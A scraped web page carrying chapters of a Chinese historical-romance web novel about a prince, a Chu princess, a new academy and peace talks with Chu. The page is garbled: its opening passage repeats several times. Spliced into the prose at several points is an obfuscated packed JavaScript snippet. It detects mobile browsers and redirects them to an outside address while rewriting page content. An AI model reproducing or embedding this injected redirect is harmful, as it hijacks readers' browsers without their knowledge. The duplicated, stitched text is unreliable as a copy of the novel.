楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 林臻的双手有力地环抱着楚惜灵的腰肢,微微收紧,将她的身躯紧紧贴向自己。 楚惜灵的双手则轻轻搭在林臻的肩头,手指不自觉地微微蜷曲,脸颊紧贴着他的胸膛,却听不到曾经那沉稳有力的心跳。 林臻似有所感,微微低下头,鼻尖轻触着楚惜灵的发丝。 她的发丝在寒风中带着一丝冰凉,却又散发着淡淡的幽香,直往鼻孔里钻。 林臻把嘴巴轻轻贴近楚惜灵的耳边,呼出的热气令人面红耳赤。 “灵儿,我感觉不到我的心跳。” “因为噬心蛊就是你的心。” “什么意思?” “你可以理解为寄生虫。现在你和它是共生关系,噬心蛊会将血液泵至你全身,和心脏的功能是一样的。” “啊?” “别怕,它不会伤害你前提是你也不能伤害我。”楚惜灵抬起头,一双美目深情地凝视着林臻。 月光洒在她的脸上,为她的面容镀上了一层柔和的银辉,眼眸中波光流转,满是爱意。 林臻看着她,只觉心中涌起一股难以抑制的冲动。 他的目光缓缓下移,停留在楚惜灵那微微张开的朱唇上。 睫毛轻轻颤动,似是感受到了林臻的目光,让她的脸颊泛起一抹红晕。 林臻的手轻轻抬起,手指划过楚惜灵的脸颊,带着一丝温柔的触感。 紧接着,林臻缓缓俯下身,轻轻覆盖住楚惜灵的唇。 楚惜灵先是微微一怔,随后闭上双眼,回应着林臻的亲吻。 林臻的手臂再次收紧,将楚惜灵抱得更紧,而楚惜灵的双手也不自觉地搂住林臻的脖颈,身体微微后仰,沉浸在这深情的亲吻之中。 时间仿佛在这一刻静止,唯有两人急促与疯狂呼吸声交织在一起。 次日清晨,温暖的阳光照射进奉先阁,洒在林臻脸上,将他从睡梦中唤醒。 林臻缓缓睁开眼睛,脑海中浮现出昨晚与楚惜灵恩爱的画面,嘴角不自觉地扬起一抹微笑,回眸看去。 就见楚惜灵正躺在地上,盖着熊皮大衣睡得香甜。 林臻起身穿好衣服,低头一吻。 就像亲醒一个睡美人。 “灵儿,起来吧,我给你介绍几个姐妹。” 楚惜灵正在伸懒腰,听到这话身体微微一僵。 “不要了吧?我伤害过你,慕容嫣肯定会把我给你下蛊的事情告诉她们的,到时候.我不想你后院里不安宁。” “我可以解释的啊,再说,我的女人绝非是你想的那样。” 楚惜灵轻轻摇了摇头,站起身来,走到窗边:“夫君,我知道你的心意。但若生活在王府中,我会觉得压抑。所以我还是回宫里吧。” “那离我也太远了吧?”林臻有些不情愿。 他还有很多事情需要和楚惜灵商量呢,如果住在宫里,每天来回路上就要浪费很多时间。 楚惜灵抬起头,看着林臻,眼中满是柔情:“其实我也不舍得你。但我真的无法适应这里的生活。而且,我也不想离你太远。” 林臻微微皱眉,思索片刻后,眼中闪过一丝光芒:“有了!前阵子我新建了一座书院,那里环境清幽,而且正在装修也没什么人,你若想去,我便安排你在那里生活,这样你也能做些你喜欢的事情。” “书院?那不是正合适我们搞研究吗?”楚惜灵也很高兴,当即点头同意,“那我们现在就去!?” “你不收拾收拾东西吗?” 楚惜灵翻个白眼:“我来的时候就带了几件衣服,有什么好收拾的?赶紧啦!带我去看看书院!” 第349章 你懂什么,清华大学可不止一个亿 林臻带着楚惜灵回到房间,在浣碧的伺候下换上一身紫金色素袍,身姿挺拔如松,墨发束起,上扣一顶金冠,显得面如冠玉,气质清华。 而楚惜灵穿的则是浣碧的淡粉色罗裙,腰间系着同色的丝带,勾勒出她纤细的腰肢,三千青丝垂落在身后,随着她的步伐轻轻晃动,明艳动人。 “夫君这是要去哪?”浣碧见林臻要出门,便好奇地问。 她向来是不吃醋的,但姐妹们闻起来她也需要个理由应付。 林臻笑着刮了刮她的小鼻子:“去书院一趟,看看进度怎么样,你们自己吃早餐。” “好,妾身晓得了。” 言罢林臻与楚惜灵出门而去。 晨光熹微,轻柔地洒在京城的石板路上,街头巷尾早已是人声鼎沸,热闹非凡。 街边的早点铺子热气腾腾,袅袅炊烟升腾而起,混着食物的香气,弥漫在空气之中。 两人手牵着手,十指紧扣,仿若一对神仙眷侣,慢悠悠地穿梭在人群之中,时不时停下脚步,挑选着心仪的早点。 “来,尝尝这个。”林臻拿起一个刚出锅的芝麻烧饼,外皮酥脆,芝麻的香气扑鼻而来,他轻轻吹了吹,递到楚惜灵嘴边。 楚惜灵微微仰头,咬了一小口,眼中顿时闪过一丝惊喜:“嗯!好香啊,外酥里嫩。” 她两朵香腮鼓鼓的,像只贪吃的小松鼠,模样煞是可爱。 林臻看着她,不禁笑出声来,抬手轻轻拭去她嘴角的碎屑,手指不经意间触碰到她的脸颊,温热的触感让两人的心跳都微微加速。 “你们北方的小吃还真多,不过比起我们南方来还是差一些!”楚惜灵拍着自己的小肚子,一脸的满足。 林臻点头道:“确实,八大菜系中有七个都是南边的。” “可惜呀,梦里的东西终究没有现实吃着香,否则刚刚也不会这么激动了。” 侯春、韩忠等一众护卫,身着劲装,腰间佩刀,目光警惕地扫视着四周,紧紧跟在两人身后。 一路吃着、逛着,两人来到了书院。 此时的书院,相较于往日的丞相府,已然有了翻天覆地的变化。 许多地方堆放着各类建筑材料,砖石、木材错落有致地摞在一起。 大部分工人都已经放假了,只有极少数不在意寒冷天气的工程还在进行着。 工人们来来往往,忙碌的身影穿梭其中,见到林臻都立刻停下来作揖打招呼。 曾经顾府那极尽奢华的房间,如今已被彻底 整改,雕梁画栋虽还残留着昔日的精致,但内里却已换上了一张张桌子板凳,成为了宽敞明亮的教室。 林臻拉着楚惜灵的手在府内四处游逛,每到一处,他便兴致盎然地讲述着顾家以前的事情,又说出对书院未来的畅想。 楚惜灵听得认真,偶尔也会提出自己的见解。 不知不觉,大半天的时光就这么过去,两人最终选定了一间别致的小院作为楚惜灵的办公地点。 小院不大,却清幽雅致,几朵梅花开得正艳。 走进屋内,发现这里采光极佳,一张古朴的书桌摆放在正中,文房四宝一应俱全,旁边还有几个书架,此刻空空如也。 大屏风的后面是内间,有生活需要的床榻、休息区等等。 楚惜灵眼中满是欢喜,伸手轻轻抚摸着书桌,转头看向林臻:“这才像是一个做学问的地方!夫君,以后我们就在这办公吧?” “当然可以啊,我也算是这学院里的老师。” 楚惜灵突然露出一丝冷冽的笑,在这冬日里显然非常骇人:“呵呵呵呵呵,有了这间学院,什么煊赫门、哈德门,通通都是弟弟!” “弟弟?”林臻摇摇头:“这称呼不合适,应该叫小学生。” 楚惜灵闻言翻个白眼:“叮咚鸡?呵,这陈年的旧梗也好意思拿出来显摆!?我给你说个新梗,你肯定接不上。” “还有我接不上来的梗?” “那当然,不过在说梗之前,我们先给学院起个名字吧。” “名字早都想好了,就叫大乾书院。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有意见也不行,建筑上的这些东西我还是得跟你仔细说说,最起码我们也要商量着来。毕竟你在我的世界里学习的东西还是太少了。” 楚惜灵点点头,又把毛笔给他。 林臻正儿八经地坐下,开始边画边说:“我想着,书院的课程不能只局限于经史子集,还得增添些后世的课程,例如数学、地理、物理、化学之类的。” 楚惜灵深表赞同。 以前她也相信孔孟之道,现在看来,那套教世人做君子的东西其实并不实用。 光会做君子,不会成功,那有什么用? 之乎者也能把敌人打趴下吗? 林臻手中笔不停:“还有这宿舍楼,我打算用水泥来建造,坚固耐用,还能节省工期。” 楚惜灵微微皱眉,思索片刻后说道:“水泥的强度自是够的,可当下咱们没有钢筋,质量无法保证。” 林臻却一脸自信,搁下毛笔,双手抱胸:“这有何难?刀枪棍棒咱们都能造出来,钢筋不过是换个样式罢了。而且我们完全不必担心铁不够用,东北那地儿铁矿丰富,满地都是铁矿,你们南楚的俘虏有一半在武清,另外一半就在东北呢,闲着也是闲着,让他们挖矿去。然后我们再雇些能工巧匠,多番尝试,肯定能造出来。” 楚惜灵听到南楚俘虏,心里很不是滋味,说道:“夫君,能不能善待我们南楚人一些?” “你放心,我是不会苛待俘虏的,他们在东北那边一天吃三顿饱饭,还有住宿的地方。两年之后,我会给他们分土地,分牛羊,允许他们结婚生子,以后他们就是东北的原住民。” “好,嘻嘻。”听林臻这般说,楚惜灵又高兴起来,只要自己国家的人能生活下去就好。 打仗嘛,没死已经是最好的结果了,不能要求太高。 “既如此,那我们便从提升冶铁技艺开始。明日,书院便开始招收第一批学生,由妾身带头,专门学习冶铁,书院里也得建个冶铁的实验室,供他们实践。” 林臻重重点头:“好,就依你所言。不过这第一批学生肯定要在官员子弟里挑选,至于寒门学子,就等书院建设完成后再招收吧,否则跟着我的那些人该有意见了。” “正是此理。” 就在这时,侯春匆匆走进小院,双手抱拳:“世子,陛下有口谕。” 林臻与楚惜灵对视一眼,沉声道:“说。” “陛下说让您立刻去江都与楚国谈判,这事情不能再拖了。” 空气瞬间安静下来。 林臻点点头看向楚惜灵。 谁知楚惜灵悄然握住他的手,轻轻捏了捏,柔声道:“我跟你去。” “辛苦你了。” “不辛苦,其实,妾身也想回去看看父皇,就是不知道能不能见到。” “估计见不到,楚霸天不会亲自来谈判的。” “讨厌,好歹也是你老丈人,非一口一个楚霸天的!”楚惜灵怪嗔的样子,十分可爱。 楚国皇宫,养心殿内气氛凝重得仿若能滴出水来。殿中烛火摇曳,光影在雕龙画凤的梁柱间诡谲跳动。 丞相韩天星身着一袭紫袍,衣摆处由金线绣的蟒纹张牙舞爪,透着一股逼人的威严。 顾北辰一袭玄甲,正笔挺地站在皇帝楚霸天对面。 楚霸天高坐龙椅之上,金冠束发,岁月虽在他脸上留下痕迹,却未曾减损半分帝王的霸气。 他自上而下端详着顾北辰,须臾,缓缓起身,走到顾北辰跟前,重重地拍了拍他的肩膀,沉声道:“北辰啊,朕可是把大楚的兵马都交到你手上了,你可知这担子有多重?” 顾北辰微微低头,抱拳行礼,声音洪亮:“父皇放心,儿臣定当竭尽全力,不负父皇所托!” 没错,顾北辰已经在韩天星的安排下迎娶了楚惜灵的妹妹楚惜琰,现在是楚国驸马。 而韩天星因为亲自出山,被楚霸天奉为上宾,官拜宰相。 这一刻,楚霸天逐鹿天下的雄心被再次激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150699|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 励。 他不相信,自己手握天下最厉害的煊赫门,还能打不赢乾国。 楚霸天微微点头,眼中闪过一丝满意,旋即又神色凝重起来:“此次林震仙水淹下邳,局势突变,这事儿虽怪不得你,可如今我大楚面临的困境,你也心中有数。接下来的谈判至关重要,你务必在谈判桌上全力以赴,想尽办法,把林臻那小子给朕带回来!” 顾北辰听闻此言,牙关紧咬,腮帮处肌肉微微鼓起。 他与公主才刚刚圆房,名正言顺地成了楚霸天的女婿。 可哪曾想楚霸天竟还心心念念的也要拉林臻做女婿。 这让一向骄傲的他如何能咽下这口气! 林臻,林臻。 你他妈为什么总是抢我的东西? 沉默片刻,他强压下心中的愤懑,抬起头,目光坚定地直视楚霸天:“父皇,儿臣以为,没有林臻,儿臣同样能带领大楚走向巅峰。再者,这次战争的失败与林臻根本毫无关系,都是那个叫陈宵的混蛋偷袭我军后方!若不是他,我们大楚绝不会沦陷得这么快。” “你说得没错,陈宵真是一员虎将啊,可惜.这样的英雄竟不能为朕所用。” 韩天星在一旁一直冷眼旁观,此刻见楚霸天这般表态,微微皱眉,上前一步,开口道:“陛下无需太过担忧,臣早已派我门下弟子去暗中袭扰林臻了,而且是专挑他的软肋下手,定能让他自顾不暇。” 楚霸天微微颔首,神色稍缓:“唔丞相此举,甚合朕意。这场谈判是为我大楚争取时间的,丢失些土地而已,并不算什么。北辰,你回去之后,务必抓紧时间练兵,强化军备,只等时机一到,咱们再与乾国一决胜负!” 顾北辰再次抱拳行礼:“儿臣谨遵父皇与丞相教诲,定当全力以赴。” 言罢,转身大步流星地朝殿外走去。 玄甲碰撞,发出沉闷的声响,每一步都带着他的不甘与决绝。 林臻,许久不见。 我们再好好较量一番。 第351章 孙媳!?臭小子!这又是怎么回事? 寒冬腊月,凛冽的北风像刀子般呼啸着席卷大地,吹得道路两旁的枯草瑟瑟发抖。 通往江都的大路上,一支队伍正浩浩荡荡地前行,搅碎了冬日的死寂。 林臻一袭黑色劲装,外披一件厚重的狐裘披风,身姿挺拔地骑在高头大马上。 楚惜灵坐在马车里,车内铺着厚厚的毛毯,暖炉散发着融融暖意,驱散着寒意。 她透过车窗的缝隙,望向外面骑马的林臻,眼神中满是温柔与爱意。 在他们身后,两千名虎贲营将士身着铠甲,步伐整齐划一,甲胄碰撞发出的声响在空旷的原野上回荡,透着一股肃杀之气。 江都,这座曾经属于楚国的商业重镇,如今已经是大乾的土地。 著名的扬州瘦马,就来源于此。 城墙上旗帜飘扬,那鲜艳的大乾军旗在寒风中猎猎作响。 林臻无暇欣赏江都的美景,一入城中,便径直朝着府衙策马而去。 马蹄哒哒,踏碎了地上的薄冰,溅起些许冰碴。 踏入府衙大门,只见一位身着灰袍的老者正负手而立。 正是多日不见的林震仙。 “祖父!” 林臻一声叫喊,来到近前,双膝跪地。 “孙儿拜见祖父!” 说实话,他是真有点想这个糟老头子了。 穿越过来这么久,老爷子对他很多事情都非常支持,甚至可以说是林臻成功之路上的基石。 林震仙回眸,目光如炬,看到林臻的瞬间,那饱经风霜的脸上顿时绽放出一阵爽朗的笑声。 “哈哈哈,好小子啊!五千兵力大破十万敌军,还捣毁了天道总坛,在武清县打地主、分田地,不错,干得漂亮!不愧是我林震仙的孙子!” 林震仙大步上前,亲自把林臻拉起来,眼中满是自豪与欣慰。 与此同时,楚惜灵也莲步轻移,从外面缓缓走入府衙。 她今日身着一袭月白色的锦袍,外罩一件雪白的狐裘,身姿婀娜,仪态万千。 一头乌发如瀑布般垂落,仅用一根羊脂玉簪固定,更衬得她面容清丽脱俗。 进入府衙后,她目光盈盈地望向林臻,随后对着林震仙盈盈下拜,轻声道:“孙媳,参见王爷。” 那声音婉转清脆,仿若黄莺出谷,在这府衙之中轻轻回荡。 然而林震仙却愣住了。 楚国公主什么时候成自己孙媳妇了? “孙孙孙媳!?臭小子!这又是怎么回事!?” “祖父,您不知道,灵儿已经是咱林家的人了。” “你”林震仙激动地指着林臻一句话也说不出来。 自己这孙子也太牛逼了吧。 不仅睡了皇帝,睡了贵妃,还把楚国公主给睡了! 下一步是不是该睡神仙了? 林臻见状,赶忙上前一步扶起楚惜灵,眼中满是温柔:“灵儿,你先去后面休息吧。” “嗯。” 楚惜灵点头应下,又对林震仙做了个揖,走向后堂。 林震仙抬手示意林臻入座,随后自己也缓缓坐下:“臻儿,这楚国公主是怎么回事?她不是质子吗?怎么又成你小妾了?” “嗐,祖父,这件事情三言两语的说不清楚,我们还是说说对楚国谈判的事情吧。” “唔,也好,老夫不管你的私事,但是有一点你得记住!不管是哪房小妾,都赶紧生几个儿子出来,趁着老夫还有几年活头,能给你带带孩子!” “是是是” 老爷子三句话不离重孙子,搞得林臻有些无语。 林震仙又问道:“此次江都谈判,你心里是怎么打算的?” 林臻坐定,从怀中掏出一份早已拟好的文书,轻轻放在桌上,手指轻点:“祖父,我这儿已经拟好了咱们的要求。楚霸天若是同意,双方就此停战,往后再慢慢商议边界、通商等诸多事宜;他若不同意,咱们也不惧,大不了整顿兵马继续往南边打,我倒要看看,他楚霸天能撑到几时。” 他言辞间透着一股自信与果敢。 林震仙微微点头,拿起那份文书,仔细翻阅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150700|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,喃喃道:“割让江北所有土地,这没问题,这本来就是我们打下来的,可是开放吴县为通商港口、每年要给乾国进贡粮食三十万石、布匹五千.这人家能同意吗?” “不同意就继续打呗。” 林震仙放下文书,说道:“臻儿,此次前来谈判的并非楚霸天本人,而是顾北辰。” 林臻闻言,剑眉微蹙,眼中闪过一丝诧异:“顾北辰?这小子不是投奔他姥爷去了吗?怎么又回来了?” 这位原书主角还真是命好啊。 虽然失败,可主角光环依然不丢。 林震仙看出了他的疑惑,解释道:“如今局势变幻莫测,顾北辰和韩天星都已成为大楚的高官了。顾北辰更是娶了楚国公主,成了楚霸天的乘龙快婿;韩天星身为丞相,深得楚霸天信任,甚至他还把整个楚国的兵权都交到了顾北辰手上。而且……” 说到此处,林震仙顿了顿,目光玩味地看着林臻,“楚霸天还存了让你也去和亲的心思,想把你招揽至麾下。” 林臻先是一愣,随即仰头猖狂大笑起来,笑声在屋内回荡,震得窗棂嗡嗡作响:“哈哈哈哈哈,这简直是滑天下之大稽!让我和亲?祖父莫非忘记了?楚国清秋公主已经是我的人了。” “哈哈哈哈哈,看来楚霸天的小算盘要失策喽。” 林震仙也同样大笑。 可能楚霸天打破头也没想到,自己的宝贝女儿已经是林臻的小妾了。 可笑他还非让林臻当女婿。 这场谈判,不管顾北辰说出什么来,他们都捞不到任何好处。 林震仙突然神秘兮兮地凑近,目光紧紧盯着林臻,压低声音问道:“既然清秋公主已经是你小妾了,你小子为什么还要带着她一起来呢?” 林臻被这突如其来的问题问得一怔,脸上泛起一抹红晕,下意识地摸了摸鼻子,神情有些尴尬:“额其实不是我想带灵儿来,而是陛下她希望我利用楚惜灵,从楚国那边得到更多的好处。” 林震仙点点头:“原来如此.对哦了,还有件事情,你肯定感兴趣。” 第352章 凄惨的嬛嬛 林臻露出几分玩味的表情:“祖父说的是什么事情啊? 林震仙神色凝重中透着几分复杂:“你可还记得,从前陛下身边有个贴身侍女叫嬛嬛? 林臻点了点头:“当然记得,她是陛下儿时玩伴,更是情同姐妹,但是后来因为犯错被陛下逐出皇宫,可是她非但不感恩,还把陛下的真实性别和身份泄露出去,为此陛下很是伤心 提及此事,林臻心中便涌起诸多感慨。 因为顾北辰的主角光环,让嬛嬛不惜背叛慕容嫣。 狗作者乱写,否则嬛嬛就是自己的通房丫头了。 林震仙微微叹气,起身在原地踱步:“这女孩前些时日在下邳找到了顾北辰,还与他有了肌肤之亲。可顾北辰那小子逃跑之时竟狠心将她抛下,全然不顾往日情分,可见对她并无几分真心。因她曾是陛下的贴身侍女,身份特殊,老夫念及旧情,也未苛待于她,只等你过来拿个主意。如今,她就被关在府衙后面的厢房里,多日不吃不喝,瞧着模样,估摸着也就这一两天的事儿了,你要不要去看看? 林臻听闻,犹豫了片刻,终是站起身来:“唉,也罢,我去看看吧。 他对嬛嬛这个女人没什么感情,更提不上好感。 说是去看看,其实也就是替慕容嫣尽最后一丝姐妹情谊。 即便,两人早就没有情谊了。 但林臻还是打算去看看这位在原书中分量不轻的女子,看看她究竟是何结局。 行至府衙后院,寒风呼啸着刮过,吹得人衣角翻飞。 林臻命人打开厢房的门,一股霉味与死寂之气扑面而来。 入目之处,只见嬛嬛瘦骨嶙峋地躺在床榻之上,一动不动。 她的脸颊深陷,眼眶突兀地耸起,原本圆润的下巴此刻尖削如刀,皮肤枯黄黯淡,毫无血色。 那胸脯已然饿扁,肋骨根根分明,肚子也塌陷下去,衣物松松垮垮地贴在身上,仿若一阵风便能将她吹走。 唉,这就是被情所困的女孩子么。 也太惨了点。 林臻走到床榻边,定睛看着她已经宛若骷髅的脸,轻声唤道:“唉,你这又是何苦呢。 嬛嬛听到声响,干裂的嘴唇微微颤动,艰难地睁开双眼,浑浊的眼眸中闪过一丝光亮。 待看清来人是林臻,她像是抓住救命稻草一般,颤抖着伸出手,用尽全身力气抓住林臻的手,指甲几乎陷入他的皮肉,声音微弱却透着执拗:“世子. “嬛嬛,你还是吃点东西 吧再这么下去你没有活路了。” “不世子求求您让我再见顾郎一面只要再见他一面嬛嬛死而无憾.” 林臻看着她这副模样再如铁的心肠也有些不忍。 